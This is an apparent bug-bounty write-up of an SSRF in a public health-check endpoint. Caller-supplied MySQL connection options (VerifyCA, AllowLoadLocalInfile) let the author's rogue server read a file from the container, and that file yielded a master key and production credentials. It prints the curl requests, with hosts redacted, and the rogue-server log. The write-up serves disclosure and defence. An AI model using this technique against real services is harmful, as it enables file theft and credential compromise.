Public health check · file read · $XXXX bounty
The $XXXX SSRF
By Anas Al-Jamal and Jafar on LinkedIn
Some bugs announce themselves at a login screen. This one looked like a status page.
The diagnostics page had one job: report which database the service was using and whether it could reach it. It did that, and then it kept answering questions nobody had asked it. By the end it had read files from inside its own container and handed over the key to its configuration. Anyone on the internet could ask; there was no login.
The endpoint told me which database it was using, which container it was in, and, if I wanted, how its database client should behave. That last answer was the mistake.
A connection string is not just an address. It is a small set of instructions: where to connect, who to connect as, how to handle encryption, how long to wait, and what the client is allowed to do. The endpoint let me write those instructions.
The short version
A public health-check page let anyone supply the full settings the service uses to reach its database. I pointed those settings at a database I controlled. When the service connected, my server asked it for a file from its own machine, and the service sent one. That file contained a key that unlocked the production service's configuration and database password. It was a valid bug, and the bounty was $XXXX.
The endpoint that answered too much
The route was a diagnostics endpoint, a URL the service answers to report its status. Think of it as a status page for operators: a page that reports whether the service and its database are working. It answered without a session, token or cookie, and returned a service banner and a container identifier to anyone who asked.
First, no credentials at all:
curl -sS -i -m 20 'https://<target>/<diagnostics-endpoint>'
HTTP/1.1 200 OK
Content-Type: text/plain
[service banner; version and container identifier redacted]
The response named the service and a container identifier. A container is the small, isolated environment that holds the running application and its files. That identifier would later match the container that answered the file request, the first link between a web response and the filesystem behind it.
It also accepted a connection string. A connection string is the set of instructions a program uses to reach a database, the place where the service keeps its data. It includes the address, the username, the password, the encryption policy, the timeout and any extra behavior supported by the database library, the code the application uses to speak to the database. Normally the application owns that string. A user never sees it, let alone writes it.
That is the bug in one sentence: the application handed the caller the settings for its database client.
The bug was not a missing login. It was a missing boundary between configuration and caller input.
A missing login would have been a finding on its own. The connection string is what turned it into a file read.
What SSRF means here
Server-side request forgery is a plain problem with a technical name: the server makes a network connection to a destination the attacker chooses. The attacker is outside the network. The server is inside it, behind whatever firewall protects the database. The server becomes the attacker's proxy, a stand-in that makes the connection from inside the network.
This one did not end at a website or an internal cloud service. It went to a database. The trust mistake is the same: the server was allowed to connect somewhere the caller should not have been able to choose.
The three-second proof
Before I pointed the string at anything of mine, I pointed it at nothing.
An unroutable address, a three-second timeout:
curl -sS -i -m 25 -G --data-urlencode '<param>=Server=<unroutable-address>;Port=3306;User ID=<user>;Password=<password>;Connection Timeout=3' 'https://<target>/<diagnostics-endpoint>/<action>'
HTTP/1.1 500 Internal Server Error
[upstream service-time]: 3003
[error body: handler method and database driver stack trace omitted]
The request failed after 3,003 ms. The error named the internal function that handled the request and the database library's connection and query calls. The small overrun is normal. The point is that the service waited for the three seconds I asked for, then stopped.
Three seconds is not an echo. An endpoint that merely reflected the string would answer at once. A client that ignored the options would not stop at three seconds. The caller owned the destination and the behavior.
Now I needed a server that would ask a question the diagnostics endpoint was not expecting.
The server that asked for a file
I stood up a MySQL server, a common database server, and gave it a certificate. Then I pointed the connection string at it with two options. Both are ordinary library settings. Neither is a vulnerability on its own.
SslMode=VerifyCAmakes the client validate the certificate chain but never compare the name on the certificate.AllowLoadLocalInfile=truetells the client it may accept a request from the server for a file on the client's own machine.
TLS is the encryption and identity layer around the connection. A certificate is the server's ID card. VerifyCA checks that the card was issued by a trusted authority, a certificate authority. It does not check that the name on the card matches the address you dialed. My certificate was valid. It was simply not for that address.
LOCAL INFILE is a MySQL feature for bulk imports. The server can ask the client, the application's database code, to upload a file from the machine where the application runs. The client is allowed to refuse. The connection string told it not to.
curl -sS -i -m 30 -G --data-urlencode '<param>=Server=<attacker-host>;Port=3306;User ID=<user>;Password=<password>;SslMode=VerifyCA;AllowLoadLocalInfile=true;Connection Timeout=120' 'https://<target>/<diagnostics-endpoint>/<action>'
The web response is not where this story lives. The bytes never touched it.
[mysql] connection from the target, TLS established
[mysql] client advertises LOCAL INFILE support
[mysql] query: select version() as v
[mysql] sending LOCAL INFILE request (path redacted)
[mysql] received 922 bytes
The log recorded the application connecting over TLS, advertising local-infile support, sending its fixed query, a request that only asks the database for its version (select version() as v), and then answering a LOCAL INFILE request. The client sent back a standard local system file, 922 bytes, over the database connection.
The container identifier from Request 1 matched the container that answered. The web response and the filesystem were now the same machine.
I repeated the request later. The target's outbound network access had degraded, and the retest returned a 502 Bad Gateway error after the caller's 120 seconds:
HTTP/1.1 502 Bad Gateway
Content-Length: 0
[upstream service-time]: 120001
Connection: close
That 502 proves the timeout was honored. It does not prove the read. The read is the log above, and I am not going to dress up a failed retest as a success.
The key in the config
The file from Request 3 contained a master key. A separate diagnostics route was protected by that key. A master key is a secret the application uses to unlock a protected part of itself. It is not a user password.
curl -sS -i -m 25 -G --data-urlencode 'key=<master-key>' 'https://<target>/<key-protected-endpoint>'
HTTP/1.1 200 OK
Content-Type: application/json
[full environment returned; secret values redacted]
The response was the complete environment, the set of settings the running process sees. It included the production database connection string, with the host, user and password, the same value the running application uses. An incorrect key returned a minimal mismatch, so the key, not the route, was the discriminator.
Four requests. No login. No writes.
What it was worth
The read ran with the application process's privileges. The process ran as root, the highest-privilege account inside the container. A well-run service runs as a user with only the permissions it needs. This one did not.
Demonstrated
- A standard local system file, 922 bytes, read from the container.
- The process environment file, which disclosed the production database connection string in full.
- The application configuration file, which contained the application master key and a downstream API key.
- The container's task-credential metadata endpoint. That is the local address cloud platforms use to hand a running service temporary credentials.
The master key was then used live against the key-protected route. It returned the complete environment and re-disclosed the same database credential. That credential is the one the running application uses.
Who could do this: anyone on the internet, with no account. What was exposed: the production container's filesystem and the credentials it holds. How far I proved it: arbitrary local file read as root, the production database password, the application master key, and the task-credential metadata endpoint.
It was a valid bug, and the bounty was $XXXX. The least interesting number here is the bounty. The interesting one is 922: the bytes that crossed the database connection and never touched the web response.
What I did not claim
- Reading or changing individual database records. The query on this path is a fixed string, so the caller cannot inject SQL. This was not SQL injection. The bug was in the settings around the query, not the query itself.
- Direct database access from the public internet. The database resolves to a private address, one only reachable from inside the network, and the credential was validated through the application, not by connecting to the database from outside.
- Fetching the temporary cloud credentials behind that metadata endpoint. The endpoint was disclosed, but this file-read capability carries database messages, not arbitrary web requests, so I could not fetch it.
- Downloading many files at once. File reads are one file per request. The proof is the file-read capability, not a bulk download.
No personal or customer data was retained. The files read were system and configuration files used to prove the file read.
How I found it
I was inventorying public diagnostics routes. A generic sweep of input names had missed this one. The endpoint's own 500 response named the internal function that handled the request and the input that carried the connection string, which told me exactly what to try.
I tested each named input on its own with a value that would behave differently if the input were ignored, and I compared it with a control request. Confirmation used a MySQL server I controlled behind a tunnel back to my machine. I validated the client library's TLS and local-infile behavior locally before touching the target. The requests were read-only, meaning they asked for information and changed nothing, and the attacker server and tunnel were terminated after testing.
The one question it should have answered
The endpoint only had to report on the database connection. Instead it accepted the caller's description of the database, the encryption, and the client's behavior, and it acted on all of it.
None of that was exotic. The hard part was noticing that a status page was accepting instructions, and that those instructions were data with a destination.
The rule is simple: a health check may report the state of the system, but it must never let the caller write the state. It only had to answer one question. It answered everything else instead.